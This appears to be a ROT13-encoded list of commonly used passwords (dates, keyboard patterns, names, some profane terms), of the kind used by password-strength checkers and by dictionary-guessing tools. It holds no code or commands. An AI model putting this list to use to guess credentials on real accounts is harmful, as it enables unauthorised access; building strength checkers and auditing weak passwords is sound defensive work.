,avgeb,neznqn,zrffvnu,1031,crathva1,02091989,nzrevp,02071989,erqrlr,nfqdjr123,07071987,zbagl1,tbgra,fcvxrl,fbangn,635241,gbxvbubgry,fbalrevpffba,pvgebra,pbzcnd1,1812,hzcver,oryzbag,wbaal,cnagren1,ahqrf,cnyzgerr,14111986,srajnl,ovturnq,enmbe,telcuba,naqlbq22,nnnnn1,gnpb,10031988,ragrezr,znynpuv,qbtsnpr,ercgvyr,01041985,qvaqbz,unaqonyy,znefrvyyr,pnaql1,19101987,gbevab,gvttr,zngguvnf,ivrjfbav,13031987,fgvaxre,rinatryvba,24011985,123456123,enzcntr,fnaqevar,02081980,gurpebj,nfgeny,28041987,fcevagre,cevingr1,frnorr,fuvool,02101988,25081988,srneyrff,whaxvr,01091987,nenzvf,nagrybcr,qenira,shpx1,znmqn6,rttzna,02021990,onefryban,ohqql123,19061987,slsawxod,anapl1,12121990,10071987,fyhttb,xvyyr,ubggvrf,vevfuxn,mkpnfqdjr123,funzhf,snveynar,ubarlorr,fbppre10,13061986,snagbznf,17051988,10051987,20111986,tynqvngb,xnenpuv,tnzoyre,tbeqb,01011995,ovngpu,znggur,25800852,cncvgb,rkpvgr,ohssnyb1,oboqbyr,purfuver,cynlre1,28021992,gurjub,10101986,cvaxl1,zragbe,gbznunjx,oebja1,03041986,ovfzvyynu,ovtcbccn,vwewxsy,01121988,ehanjnl,08121986,fxvohz,fghqzna,urycre,fdhrnx,ubylpbj,znaserq,uneyrz,tybpx,tvqrba,987321,14021985,lryybj1,jvmneq1,znetnevg,fhpprff1,zrqirq,fs49ref,ynzoqn,cnfnqran,wbuatnyg,dhnfne,1776,02031980,pbyqcynl,nznaq,cynln,ovtcvzc,04041991,pncevpbea,ryrsnag,fjrrgarff,oehpr1,yhpn,qbzvavx,10011990,ovxre,09051945,qngfha,rypnzvab,gevavgeb,znyvpr,nhqv,iblntre1,02101983,wbr123,pnecragr,fcnegna1,znevb1,tynzbhe,qvncre,12121985,22011988,jvagre1,nfvzbi,pnyyvfgb,avxbynv,crooyr,02101981,iraqrggn,qnivq123,oblgbl,11061985,02031989,vybirlbh1,fghcvq1,pnlzna,pnfcre1,mvccb,lnznune1,jvyqjbbq,sbklynql,pnyvoen,02041980,27061988,qhatrba,yrrqfhgq,30041986,11051990,orfgohl,nagnerf,qbzvavba,24680,01061986,fxvyyrg,rasbepre,qrecneby,01041988,196969,29071983,s00gonyy,checyr1,zvathf,25031987,21031990,erzvatgb,tvttyrf,xynfgr,3k7cke,01011994,pbbypng,29051989,zrtnar,20031987,02051980,04041988,flaretl,0000007,znpzna,vsbetrg,nqtwzc,iwdtsuwxz,28011987,esispraus,16051989,25121987,16051987,ebthr,znznzvn,08051990,20091991,1210,pneaviny,obyvgnf,cnevf1,qzvgevl,qvznf,05051989,cncvyyba,xahpxyrf,29011985,ubyn,gbcung,28021990,100500,phgvrcvr,qrib,415263,qhpxf,tuwhusiis,nfqdjr,22021986,serrsnyy,cneby,02011983,mnevan,ohfgr,ivgnzva,jnerm,ovtbarf,17061988,onevgbar,wnzrff,gjvttl,zvfpuvrs,ovgpul,urgsvryq,1003,qbagxabj,tevapu,fnfun_007,18061990,12031985,12031987,pnyvzreb,224466,yrgzrv,15011987,npzvyna,nyrknaqer,02031977,08081988,juvgrobl,21051991,onearl1,02071978,zbarl123,18091985,ovtqnjt,02031988,pltahfk1,mbybgb,31011987,sversvtu,oybjsvfu,fpernzre,ysloox,20051988,puryfr,11121986,01031989,uneqqvpx,frklynql,30031988,02041974,nhqvgg,cvmqrp,xbwnx,xstwkes,20091988,123456eh,jc2003jc,1204,15051990,fyhttre,xbeqryy1,03031986,fjvatvat,01011974,02071979,ebpxvr,qvzcyrf,1234123,1qentba,gehpxvat,ehfgl2,ebtre1,znevwhnan,xrebhnp,02051978,08031985,cnpb,gurpher,xrrcbhg,xreary,abanzr123,13121985,senapvfp,obmb,02011982,22071986,02101979,bofvqvna,12345dj,fchq,gnonfpb,02051985,wnthnef,qsxglaol,xbxbzb,cbcbin,abghfrq,friraf,4200,zntargb,02051976,ebfjryy,15101986,21101986,ynxrfvqr,ovtonat,nfcra,yvggyr1,14021986,ybxv,fhpxzlqvpx,fgenjore,pneybf1,abxvna73,qvegl1,wbfuh,25091987,16121987,02041975,nqirag,17011987,fyvzfunql,juvfgyre,10101990,fgelxre,22031984,15021985,01031985,oyhronyy,26031988,xfhfun,onunzhg,ebobpbc,j_cnff,puevf123,vzcermn,cebmnp,obbxvr,oevpxf,13021990,nyvpr1,pnffnaqe,11111d,wbua123,4rire,xbebin,02051973,142857,25041988,cnenzrqv,rpyvcfr1,fnybcr,07091990,1124,qnexnatry,23021986,999666,abznq,02051981,fznpxqbj,01021990,lblbzn,netragva,zbbayvtu,57puril,obbglf,uneqbar,pncevpbe,tnynag,fcnaxre,qxsyoe,24111989,zntcvrf,xebyvx,21051988,prigueo,purqqne,22041988,ovtobbgl,fphon1,djrqfn,qhsszna,ohxxnxr,nphen,wbuapran,frkkl,c@ffj0eq,258369,pureevrf,12345f,nftneq,yrbcbyq,shpx123,zbcne,ynynxref,qbtcbhaq,zngevk1,pehfgl,fcnaare,xrfgery,sraevf,havirefn,crnpul,nffnfva,yrzzrva,rttcynag,urwfna,pnahpxf,jraql1,qbttl1,nvxzna,ghcnp,gheavc,tbqyvxr,shffonyy,tbyqra1,19283746,ncevy1,qwnatb,crgebin,pncgnva1,ivaprag1,engzna,gnrxjbaqb,pubpun,frecrag,cresrpg1,pncrgbja,inzcve,nzber,tlzanfg,gvzrbhg,aoiwngd,oyhr32,xfravn,x.yioxs,anmthy,ohqjrvfre,pyhgpu,znevln,flyirfgr,02051972,ornxre,pnegzna1,d11111,frkkk,sberire1,ybfre1,znefrvyy,zntryyna,irucoe,frktbq,wxgkes,unyyb123,132456,yvirecbby1,fbhgucnj,frarpn,pnzqra,357159,pnzreb,grapuv,wbuaqbr,145236,ebbsre,741963,iynq,02041978,sxgles,mkpi123,jvatahg,jbyscnp,abgrobbx,chshatn7782,oenaql1,ovgrzr1,tbbqtvey,erqung,02031978,punyyrat,zvyyravhz,ubbcf,znirevp,abanzr,nathf1,tnryy,bavba,bylzchf,fnoevan1,evpneq,fvkcnpx,tengvf,tnttrq,pnznebff,ubgtveyf,synfure,02051977,ohoon123,tbyqsvat,zbbafuva,treeneq,ibyxbi,fbalshpx,znaqenxr,258963,genpre,ynxref1,nfvnaf,fhfna1,zbarl12,uryzhg,obngre,qvnoyb2,1234mkpi,qbtjbbq,ohooyrf1,unccl2,enaql1,nevrf,ornpu1,znepvhf2,anivtngbe,tbbqvr,uryybxvggl,sxolwkes,rneguyvax,ybbxbhg,whzob,bcraqbbe,fgnayrl1,znevr1,12345z,07071977,nfuyr,jbezvk,zhemvx,02081976,ynxrjbbq,oyhrwnlf,ybirln,pbzznaqr,tngrjnl2,crccr,01011976,7896321,tbgu,berb,fynzzre,enfzhf,snvgu1,xavtug1,fgbar1,erqfxva,vebaznvqra,tbgzvyx,qrfgval1,qrwnih,1znfgre,zvqavgr,gvzbfun,rfcerffb,qrysva,gbevnzbf,boreba,prnfne,znexvr,1n2f3q,tuuu47uw7649,iwxwew,qnqqlb,qbhtvr,qvfpb,nhttvr,yrxxre,gurebpx1,bh8123,fgneg1,abjnl,c4ffj0eq,funqbj12,333444,fnvtba,2snfg4h,pncrpbq,23fxvqbb,dnmkpi,orngre,oerzra,nnnfff,ebnqehaare,crnpr1,12345djre,02071975,cyngba,obeqrnhk,ioxsves,135798642,grfg12,fhcreabi,orngyrf1,djreg40,bcgvzvfg,inarffn1,cevapr1,vybirtbq,avtugjvfu,angnfun1,nypurzl,ovzob,oyhr99,cngpurf1,tfke1000,evpune,unggevpx,ubgg,fbynevf,cebgba,arirgf,ragreabj,ornivf1,nzvtbf,159357n,nzoref,yrabpuxn,147896,fhpxqvpx,funt,vagrepbhefr,oyhr1234,fcveny,02061977,gbffre,vybir,02031975,pbjtvey,pnahpx,d2j3r4,zhapu,fcbbaf,jngreobl,123567,ritravl,fnivbe,mnfnqn,erqpne,znznpvgn,grersba,tybohf,qbttvrf,ughopausjom,1008,phreib,fhfyvx,nmreglhv,yvzrjver,ubhfgba1,fgengsbe,fgrnhn,pbbef,graavf1,12345djregl,fgvtzngn,qres,xybaqvxr,cngevpv,znevwhna,uneqonyy,bqlffrl,avarvapu,obfgba1,cnff1,orrmre,fnaqe,puneba,cbjre123,n1234,inhkunyy,875421,njrfbzr1,erttnr,obhyqre,shafghss,vevfxn,xebxbqvy,esaglzes,fgrein,punzc1,oonyy,crrcre,z123456,gbbyobk,pnorearg,furrcqbt,zntvp32,cvtcra,02041977,ubyrva1,yusewl,onana,qnobzo,angnyvr1,wraanw,zbagnan1,wbrpbby,shaxl,fgrira1,evatb,whavb,fnzzl123,dddjjj,onygvzbe,sbbgwbo,trrmre,357951,znfu4077,pnfuzbar,cnapnxr,zbavp,tenaqnz,obatb,lrffve,tbphof,anfgvn,inapbhir,oneyrl,qentba69,jngsbeq,vyvxrcvr,02071976,ynqqvr,123456789z,unveonyy,gbbanezl,cvzcqnqq,piguaz,uhagr,qnivapv,yonpx,fbcuvr1,sveramr,d1234567,nqzva1,obanamn,ryjnl7,qnzna,fgenc,nmreg,jkpioa,nsevxn,gursbepr,123456g,vqrsvk,jbysra,ubhqvav,fpurvffr,qrsnhyg,orrpu,znfrengv,02061976,fvtznpuv,qlyna1,ovtqvpxf,rfxvzb,zvmmbh,02101976,evppneqb,rtturnq,111777,xebabf,tuoewx,punbf1,wbznzn,esuawves,ebqrb,qbyrzvgr,pnsp91,avggnal,cngusvaq,zvxnry,cnffjbeq9,idfnoycmyn,checy,tnoore,zbqryfar,zlkjbeyq,uryyfvat,chaxre,ebpxaeby,svfuba,shpx69,02041976,ybyby,gjvaxvr,gevcyru,pveehf,erqobar,xvyyre123,ovttha,nyyrteb,tgupoe,fzvgu1,jnaxvat,obbgfl,oneel1,zbunjx,xbbynvq,5329,shghenzn,fnzbug,xyvmzn,996633,ybob,ubarlf,crnahg1,556677,mknfdj,wbrznzn,wniryva,fnzz,223322,fnaqen1,syvpxf,zbagnt,angnyl,3006,gnfun1,1235789,qbtobar,cbxre1,c0b9v8h7,tbbqqnl,fzbbguvr,gbbpbby,znk333,zrgebvq,nepunatr,intnobaq,ovyynoba,22061941,glfba1,02031973,qnexnatr,fxngrobneq,ribyhgvb,zbeebjvaq,jvmneqf,sebqb1,ebpxva,phzfyhg,cynfgvpf,mndjfkpqr,5201314,qbvg,bhgonpx,ohzoyr,qbzvavdh,crefban,arirezber,nyvaxn,02021971,sbetrgvg,frkb,nyy4bar,p2u5bu,crghavn,furron,xraal1,ryvfnorg,nbyfhpxf,jbbqfgbp,chzcre,02011975,snovb,tenanqn,fpenccre,123459,zvavzbav,d123456789,oernxre,1004,02091976,app74656,fyvzfunq,sevraqfgre,nhfgva31,jvfrthl,qbaare,qvyoreg1,132465,oynpxoveq,ohssrg,wryylorna,onesyl,orunccl,01011971,pnerorne,sveroynq,02051975,obkpne,purrxl,xvgrobl,uryyb12,cnaqn1,ryivfc,bcraabj,qbxgbe,nyrk12,02101977,cbeaxvat,synzratb,02091975,fabjoveq,ybarfbzr,ebova1,11111n,jrrq420,onenphqn,oyrnpu,12345nop,abxvn1,zrgnyy,fvatncbe,znevare,urerjrtb,qvatb,glpbba,phof,oyhagf,cebivrj,123456789q,xnznfhgen,yntans,ivcretgf,anilfrny,fgnejne,znfgreongr,jvyqbar,crgreovy,phphzore,ohgxhf,123djreg,pyvznk,qraveb,tbgevor,przrag,fpbbol1,fhzzre69,uneevre,fubqna,arjlrne,02091977,fgnejnef1,ebzrb1,frqban,unenyq,qbhoyrq,fnfun123,ovtthaf,fnynzv,njalpr,xvjv,ubzrznqr,cvzcvat,nmmre,oenqyrl1,jneunzzr,yvaxva,qhqrzna,djr321,cvaanpyr,znkqbt,syvcsybc,ysvglzes,shpxre1,npvqohea,rfdhver,fcrezn,sryyngvb,wrrcfgre,gurqba,frklovgpu,cbbxrl,fcyvss,jvqtrg,isagisaoes,gevavgl1,zhgnag,fnzhry1,zryvff,tbubzr,1d2d3d,zreprqr,pbzrva,teva,pnegbbaf,cnentba,uraevx,envalqnl,cnpvab,fraan,ovtqbt1,nyyrlpng,12345dnm,aneavn,zhfgnat2,gnaln1,tvnaav,ncbyyb11,jrggre,pybivf,rfpnynqr,envaobjf,serqql1,fzneg1,qnvflqbt,f123456,pbpxfhpxre,chfuxva,yrsgl,fnzob,slhgxwkge,uvmvnq,oblm,juvcynfu,bepuneq,arjnex,nqeranyva,1598753,obbgfvr,puryyr,gehfgzr,purjl,tbystgv,ghfpy,nzoebfvn,5je2v7u8,crargengvba,fubahs,whturnq,cnlqnl,fgvpxzna,tbgunz,xbybxby,wbuaal5,xbyonfn,fgnat,chcclqbt,punevfzn,tngbef1,zbar,wnxnegn,qenpb,avtugzne,01011973,vaybir,ynrgvgvn,02091973,gnecba,anhgvpn,zrnqbj,0192837465,yhpxlbar,14881488,purffvr,tbyqrarl,gnenxna,69pnzneb,ohatyr,jbeqhc,vagrear,shpxzr2,515000,qentbasy,fcebhg,02081974,treovy,onaqvg1,02071971,zrynavr1,cuvnycun,pnzore,xngul1,nqevnab,tbamb1,10293847,ovtwbua,ovfznepx,7777777n,fpnzcre,12348765,enoovgf,222777,olagulga,qvzn123,nyrknaqre1,znyybepn,qentfgre,snibevgr6,orrgubir,oheare,pbbcre1,sbfgref,uryyb2,abeznaql,777999,froevat,1zvpunry,ynhera1,oynxr1,xvyyn,02091971,abhabhef,gehzcrg1,guhzcre1,cynlonyy,knagvn,ehtol1,ebpxaebyy,thvyynhz,natryn1,fgerybx,cebfcre,ohggrephc,znfgrec,qoasxoe,pnzoevqt,irabz,gerrsebt,yhzvan,1234566,fhcen,frklonor,serrr,fura,sebtf,qevyyre,cnirzrag,tenpr1,qvpxl,purpxre,fznpxqbja,cnaqnf,pnaavony,nfqssqfn,oyhr42,mlwkes,aguiolsawu,zryebfr,arba,wnoore,tnzzn,369258147,ncevyvn,nggvphf,orarffrer,pngpure,fxvccre1,nmreglhvbc,fvkgl9,guvreel,gerrgbc,wryyb,zrybaf,123456789djr,gnagen,ohmmre,pngavc,obhapre,pbzchgre1,frklbar,nananf,lbhat1,byraxn,frkzna,zbbfrf,xvgglf,frcuvebgu,pbagen,unyybjrr,fxlynex,fcnexyrf,777333,1dnmkfj23rqp,yhpnf1,d1j2r3e,tbsnfg,unaarf,nzrgulfg,cybccl,sybjre2,ubgnff,nzngbel,ibyyrlon,qvkvr1,orgglobb,gvpxyvfu,02061974,serapul,cuvfu1,zhecul1,gehfgab,02061972,yrvanq,zlanzrvf,fcbbtr,whcvgre1,ulhaqnv,sebfpu,whaxznvy,nonpno,zneoyrf,32167,pnfvb,fhafuvar1,jnlar1,ybatunve,pnfgre,favpxre,02101973,tnaavony,fxvaurnq,unafby,tngfol,frtoyhr2,zbagrpne,cyngb,thzol,xnobbz,znggl,obfpb1,888999,wnmml,cnagre,wrfhf123,puneyvr2,tvhyvn,pnaqlnff,frk69,genivf1,snezobl,fcrpvny1,02041973,yrgfqbvg,cnffjbeq01,nyyvfba1,nopqrst1,abgerqnz,vyvxrvg,789654123,yvoregl1,ehttre,hcgbja,nypngenm,123456j,nvezna,007obaq,aninwb,xrabov,greevre,fgnlbhg,tevfun,senaxvr1,syhss,1dnmmnd1,1234561,ivetvavr,1234568,gnatb1,jreqan,bpgbchf,svggre,qspoxops,oynpxyno,115599,zbagebfr,nyyra1,fhcreabin,serqrevx,vybirchffl,whfgvpr1,enqrba,cynlobl2,oyhoore,fyvire,fjbbfu,zbgbpebf,ybpxqbja,crneyf,gurorne,vfgurzna,cvargerr,ovvg,1234erjd,ehfglqbt,gnzcnonl,gvggf,onolpnxr,wrubinu,inzcver1,fgernzvat,pbyyvr,pnzvy,svqryvgl,pnyiva1,fgvgpu,tngvg,erfgneg,chccl1,ohqtvr,tehag,pncvgnyf,uvxvat,qernzpnf,mbeeb1,321678,evssenss,znxnxn,cynlzngr,ancnyz,ebyyva,nzfgry,mkpio123,fnznagu,ehzoyr,shpxzr69,wvzzlf,951357,cvmmnzna,1234567899,genynyn,qrycvreb,nyrkv,lnzngb,vgvfzr,1zvyyvba,isaqgd,xnuyhn,ybaqb,jbaqreobl,pneebgf,gnmm,engobl,estrpas,02081973,avpb,shwvgfh,ghwues,fretorfg,oybool,02051970,fbavp1,1357911,fzveabi,ivqrb1,cnaurnq,ohpxl,02031974,44332211,qhssre,pnfuzbarl,yrsg4qrnq,ontchff,fnyzna,01011972,gvgshpx,66613666,ratynaq1,znyvfu,qerfqra,yrznaf,qnevan,mnccre,123456nf,123456ddd,zrg2002,02041972,erqfgne,oyhr23,1234509876,cnwreb,obblnu,cyrnfr1,grgfhb,frzcre,svaqre,unahzna,fhayvtug,123456a,02061971,geroyr,phcbv,cnffjbeq99,qvzvgev,3vc76x2,cbcpbea1,yby12345,fgryyne,alzcub,funex1,xrvgu1,fnfxvn,ovtgehpx,eribyhgv,enzob1,nfq222,srrytbbq,cung,tbtngbef,ovfznex,pbyn,chpx,sheonyy,oheabhg,fybavx,objgvr,zbzzl1,vprphor,snovraa,zbhfre,cncnznzn,ebyrk,tvnagf1,oyhr11,gebbcre1,zbzqnq,vxyb,zbegra,euhoneo,tnergu,123456q,oyvgm,pnanqn1,e2q2,oerfg,gvtrepng,hfznevar,yvyovg,oraal1,nmenry,yrobjfxv,12345e,znqntnfxne,ortrzbg,ybirezna,qentbaonyym,vgnyvnab,znmqn3,anhtugl1,bavbaf,qvire1,plenab,pncpbz,nfqst123,sbeyvsr,svfurezna,jrner138,erdhvrz,zhsnfn,nycun123,cvrepvat,uryynf,noenpnqnoen,qhpxzna,pnenpnf,znpvagbf,02011971,wbeqna2,perfprag,sqhrpa,ubtgvrq,rngzrabj,enzwrg,18121812,xvpxfnff,junggur,qvfphf,esusigxzes,ehshf1,fdqjsr,znagyr,irtvggb,gerx,qna123,cnynqva1,ehqrobl,yvyvln,yhapuobk,evirefvq,npnchypb,yvoreb,qafnqz,znvfba,gbbzhpu,obborne,urzybpx,frkgbl,chtfyrl,zvfvrx,ngubzr,zvthr,nygbvqf,znepva,123450,euspsqojs,wrgre2,euvabf,ewuwxz,zrephel1,ebanyqvaub,funzcbb,znxnlyn,xnzvyyn,znfgreongvat,graarffr,ubytre,wbua1,zngpuobk,uberf,cbcgneg,cneynzrag,tbbqlrne,nfqstu1,02081970,uneqjbbq,nynva,rerpgvba,uslgaeo,uvtuyvsr,vzcynagf,orawnzv,qvccre,wrrcre,oraqbire,fhcrefbavp,onolorne,ynfrewrg,tbgraxf,onzn,angrqbtt,nby123,cbxrzb,enoovg1,enqhtn,fbcenabf,pnfusybj,zraguby,cunenb,unpxvat,334455,tuwpaoaraes,yvmml,zhssva1,cbbxl,cravf1,sylre,tenzzn,qvcfrg,orppn,verynaq1,qvnan1,qbawhna,cbat,mvttl1,nygrertb,fvzcyr1,poe900,ybttre,111555,pynhqvn1,pnagban7,zngvffr,ywkglzes,ivpgbev,uneyr,znznf,rapber,znatbf,vprzna1,qvnzba,nyrkkk,gvnzng,5000,qrfxgbc,znsvn,fzhes,cevaprfn,fubwbh,oyhroree,jryxbz,znkvzxn,123890,123d123,gnzzl1,obozneyrl,pyvcf,qrzba666,vfznvy,grezvgr,ynfre1,zvffvr,nygnve,qbaan1,onhunhf,gevavgeba,zbtjnv,sylref88,whavcre,abxvn5800,obebqn,wvatyrf,djrenfqsmkpi,funxhe,777666,yrtbf,znyyengf,1dnmkfj,tbyqrarlr,gnzreyna,whyvn1,onpxobar,fcyrra,49ref,funql,qnexbar,zrqvp1,whfgv,tvttyr,pybhql,nvfna,qbhpur,cnexbhe,oyhrwnl,uhfxref1,erqjvar,1dj23re4,fngpuzb,1231234,avaronyy,fgrjneg1,onyyfnpx,ceborf,xnccn,nzvtn,syvccre1,qbegzhaq,963258,gevtha,1237895,ubzrcntr,oyvaxl,fperjl,tvmmzb,oryxva,purzvfg,pbbyunaq,punpuv,oenirf1,gurorfg,terrqvftbbq,ceb100,onanan1,101091z,123456t,jbaqresh,onersrrg,8vapurf,1111dddd,xppuvrsf,djrnfqmkp123,zrgny1,wraavsre1,kvna,nfqnfq123,cbyyhk,purreyrnref,sehvgl,zhfgnat5,gheobf,fubccre,cubgba,rfcnan,uvyyovyy,blfgre,znpnebav,tvtnolgr,wrfcre,zbgbja,ghkrqb,ohfgre12,gevcyrk,plpybarf,rfgeryy,zbegvf,ubyyn,456987,svqqyr,fnccuvp,whenffvp,gurornfg,tuwpawd,onhen,fcbpx1,zrgnyyvpn1,xnenbxr,arzenp58,ybir1234,02031970,syiolopausawu,sevforr,qvin,nwnk,srnguref,sybjre1,fbppre11,nyyqnl,zvreqn,crney1,nzngher,znenhqre,333555,erqurnqf,jbznaf,rtbexn,tbqoyrff,159263,avzvgm,nnnn1111,fnfuxn,znqpbj,fbppr,terljbys,onobba,cvzcqnqql,123456789e,erybnqrq,ynapvn,esuslysv,qvpxre,cynpvq,tevznpr,22446688,byrzvff,juberf,phyvanel,jnaanor,znkv,1234567nn,nzryvr,evyrl1,genzcyr,cunagbz1,onorehgu,oenzoyr,nfqsdjre,ivqrf,4lbh,nop123456,gnvpuv,nmgaz,fzbgure,bhgfvqre,unxe,oynpxunjx,ovtoynpx,tveyvr,fcbbx,inyrevln,tvnayhpn,serrqb,1d2d3d4d,unaqont,yninynzc,phzz,cregvanag,junghc,abxvn123,erqyvtug,cngevx,111nnn,cbccl1,qslgkes,nivngbe,fjrrcf,xevfgva1,plcure,ryjnl,lvalnat,npprff1,cbbcurnq,ghpfba,abyrf1,zbagrerl,jngresny,qnax,qbhtny,918273,fhrqr,zvaarfbg,yrtzna,ohxbjfxv,tnawn,znzzbgu,evireeng,nffjvcr,qnerqriv,yvna,nevmban1,xnzvxnqmr,nyrk1234,fzvyr1,natry2,55otngrf,oryyntvb,0001,jnaeygj,fgvyrggb,yvcgba,nefran,ovbunmneq,ooxvat,punccl,grgevf,nf123456,qneguinq,yvyjnlar,abcnffjbeq,7412369,123456789987654321,angpurm,tyvggre,14785236,zlgvzr,ehovpba,zbgb,clba,jnmmhc,goveq,funar1,avtugbjy,trgbss,orpxunz7,gehroyhr,ubgtvey,arirezva,qrnguabgr,13131,gnssl,ovtny,pbcraunt,ncevpbg,tnyynevrf,qgxwpotgy,gbgbeb,baylbar,pvivpfv,wrffr1,onol123,fvreen1,srfghf,nonphf,fvpxobl,svfugnax,shathf,puneyr,tbysceb,grrafrk,znevb66,frnfvqr,nyrxfrv,ebfrjbbq,oynpxoreel,1020304050,orqynz,fpuhzv,qrreuhag,pbagbhe,qnexrys,fheirlbe,qrygnf,cvgpuref,741258963,qvcfgvpx,shaal1,yvmmneq,112233445566,whcvgre2,fbsggnvy,gvgzna,terrazna,m1k2p3i4o5,fznegnff,12345677,abgabj,zljbeyq,anfpne1,purjonpp,abfsrengh,qbjauvyy,qnyynf22,xhna,oynmref,junyrf,fbyqng,penivat,cbjrezna,lspagls,ubgengf,psiprlh,djrnfqmk,cevaprff1,sryvar,ddjjrr,puvgbja,1234dnm,znfgrezvaq,114477,qvatong,pner1839,fgnaqol,xvfzrg,ngervqrf,qbtzrng,vpnehf,zbaxrlobl,nyrk1,zbhfrf,avprgvgf,frnygrnz,pubccre1,pevfcl,jvagre99,eecnff1,zlcbea,zlfcnpr1,pbenmb,gbcbyvab,nff123,ynjzna,zhssl,betl,1ybir,cnffbeq,ubblnu,rxzmls,cergmry,nzbaen,arfgyr,01011950,wvzornz,uncclzna,m12345,fgbarjny,uryvbf,znahavgrq,unepber,qvpx1,tnlzra,2ubg4h,yvtug1,djregl13,xnxnfuv,cwxwaw,nypngry,gnlyb,nyynu,ohqqlqbt,ygxznol,zbatb,oybaqf,fgneg123,nhqvn6,123456i,pvivyjne,oryynpb,ghegyrf,zhfgna,qrnqfcva,nnn123,slawves,yhpxl123,gbegbvfr,nzbe,fhzzr,jngrefxv,mhyh,qent0a,qgklwpaz,tvmzbf,fgevsr,vagrenpvny,chfll,tbbfr1,orne1,rdhvabk,zngev,wnthne1,gbolqbt,fnzzlf,anpubf,genxgbe,oelna1,zbetbgu,444555,qnfnav,zvnzv1,znfuxn,kkkkkk1,bjantr,avtugjva,ubgyvcf,cnffznfg,pbby123,fxbyxb,ryqvnoyb,znah,1357908642,fperjlbh,onqnovat,sbercynl,ulqeb,xhoevpx,frqhpgvir,qrzba1,pbzrba,tnyvyrb,nynqqva,zrgbb,unccvarf,902100,zvmhab,pnqql,ovmmner,tveyf1,erqbar,buzltbq,fnoyr,obabibk,tveyvrf,unzcre,bchf,tvmzbqb1,nnnooo,cvmmnuhg,999888,ebpxl2,nagba1,xvxvzben,crnirl,bprybg,n1n2n3n4,2jfk3rqp,wnpxvr1,fbynpr,fcebpxrg,tnynel,puhpx1,ibyib1,fuhevx,cbbc123,ybphghf,iventb,jqgawkge,grdhvre,ovfrkhny,qbbqyrf,znxrvgfb,svful,789632145,abguvat1,svfupnxr,fragel,yvoregnq,bnxgerr,svirfgne,nqvqnf1,irtvggn,zvffvffv,fcvssl,pnezr,arhgeba,inagntr,ntnffv,obaref,123456789i,uvyygbc,gnvcna,oneentr,xraargu1,svfgre,znegvna,jvyyrz,ysloxs,oyhrfgne,zbbazna,agxgqocwu,cncrevab,ovxref,qnssl,orawv,dhnxr,qentbasyl,fhpxpbpx,qnavyxn,yncbpuxn,oryvarn,pnylcfb,nffuby,pnzreb1,noenknf,zvxr1234,jbznz,d1d2d3d4d5,lbhxabj,znkcbjre,cvp'f,nhqv80,fbaben,enlzbaq1,gvpxyre,gnqcbyr,orynve,penmlzna,svanysnagnfl,999000,wbangun,cnvfyrl,xvffzlnf,zbetnan,zbafgr,znagen,fchax,zntvp123,wbarfl,znex1,nyrffnaq,741258,onqqrfg,tuoqgaeseygxs,mkppkm,gvpgnp,nhthfgva,enpref,7tebhg,sbksver,99762000,bcravg,angunavr,1m2k3p4i5o,frnqbt,tnatonatrq,ybirungr,ubaqnpoe,unecbba,znzbpuxn,svfurezn,ovfzvyyn,ybphfg,jnyyl1,fcvqrezna1,fnsseba,hgwuhod,123456987,20fcnaxf,fnsrjnl,cvffre,oqslwq,xevfgra1,ovtqvpx1,zntragn,isuhwvs,nasvfn,sevqnl13,dnm123jfk,0987654321d,glenag,thna,zrttvr,xbagby,aheyna,nlnanzv,ebpxrg1,lnebfyni,jrofby76,zhgyrl,uhtbobff,jrofbyhgvbaf,rycnfb,tntneva,onqoblf,frcuvebg,918273645,arjhfre,dvna,rqpesi,obbtre1,852258,ybpxbhg,gvzbkn94,znmqn323,sverqbt,fbxbybin,fxlqvire,wrfhf777,1234567890m,fbhysyl,pnanel,znyvaxn,thvyyrez,ubbxref,qbtsneg,fhesre1,bfcerl,vaqvn123,euwxoe,fgbccrqol,abxvn5530,123456789b,oyhr1,jregre,qviref,3000,123456s,nycvan,pnyv,jubxabjf,tbqfcrrq,986532,sberfxva,shmml1,urllbh,qvqvre,fyncahgf,serfab,ebfrohq1,fnaqzna1,ornef1,oynqr1,ubarloha,dhrra1,onebaa,cnxvfgn,cuvyvcc,9111961,gbcfrperg,favcre1,214365,fyvccre,yrgfshpx,cvccra33,tbqnjtf,zbhfrl,dj123456,fpebghz,ybirvf,yvtugubh,oc2002,anapl123,wrsserl1,fhfvrd,ohqql2,enycuvr,gebhg1,jvyyv,nagbabi,fyhggrl,eruojs,znegl1,qnevna,ybfnatryrf,yrgzr1a,12345q,chfffl,tbqvin,raqre,tbysahg,yrbavqnf,n1o2p3q4r5,chssre,trareny1,jvmmneq,yruwkes,enpre1,ovtohpxf,pbby12,ohqqlf,mvatre,rfcevg,iovraes,wbfrc,gvpxyvat,sebttvr,987654321n,895623,qnqqlf,pehzof,thppv,zvxxry,bcvngr,genpl1,puevfgbcur,pnzr11,777555,crgebivpu,uhzoht,qveglqbt,nyyfgngr,ubengvb,jnpugjbbeq,perrcref,fdhvegf,ebgnel,ovtq,trbetvn1,shwvsvyz,2fjrrg,qnfun,lbexvr,fyvzwvz,jvppna,xramvr,flfgrz1,fxhax,o12345,trgvg,cbzzrf,qnerqrivy,fhtnef,ohpxre,cvfgba,yvbaurneg,1ovgpu,515051,pngsvtug,erpba,vprpbyq,snagbz,ibqnsbar,xbagnxg,obevf1,ispagu,pnavar,01011961,inyyrljn,snenba,puvpxrajvat101,dd123456,yvirjver,yviryvsr,ebbfgref,wrrcref,vyln1234,pbbpuvr,cniyvx,qrjnyg,qsuqsus,nepuvgrp,oynpxbcf,1dnm2jfk3rqp4esi,euspwas,jfkrqp,grnfre,froben,25252,euvab1,naxnen,fjvsgl,qrpvzny,erqyrt,funaab,arezny,pnaqvrf,fzveabin,qentba01,cubgb1,enargxv,n1f2q3s4t5,nkvb,jregmh,znhevmvb,6hyqi8,mkpinfqs,chaxnff,sybjr,tenljbys,crqqyre,3ewf1yn7dr,zcrtf,frnjbys,ynqlobl,cvnabf,cvttvrf,ivkra,nyrkhf,becurhf,tqgeso,m123456,znptlire,uhtrgvgf,enycu1,syngurnq,znhevpv,znvyeh,tbbsonyy,avffna1,avxba,fgbcvg,bqva,ovt1,fzbbpu,erobbg,snzvy,ohyyvg,nagubal7,treuneq,zrgubf,124038,zberan,rntyr2,wrffvpn2,mroenf,trgybfg,tslagus,123581321,fnenwrib,vaqba,pbzrgf,gngwnan,estoawves,wblfgvpx,ongzna12,123456p,fnoer,orrezr,ivpgbel1,xvggvrf,1475369,onqobl1,obbobb1,pbzpnfg,fynin,fdhvq,fnkbcuba,yvbaurne,dnljfk,ohfgyr,anfgran,ebnqjnl,ybnqre,uvyyfvqr,fgneyvtug,2468101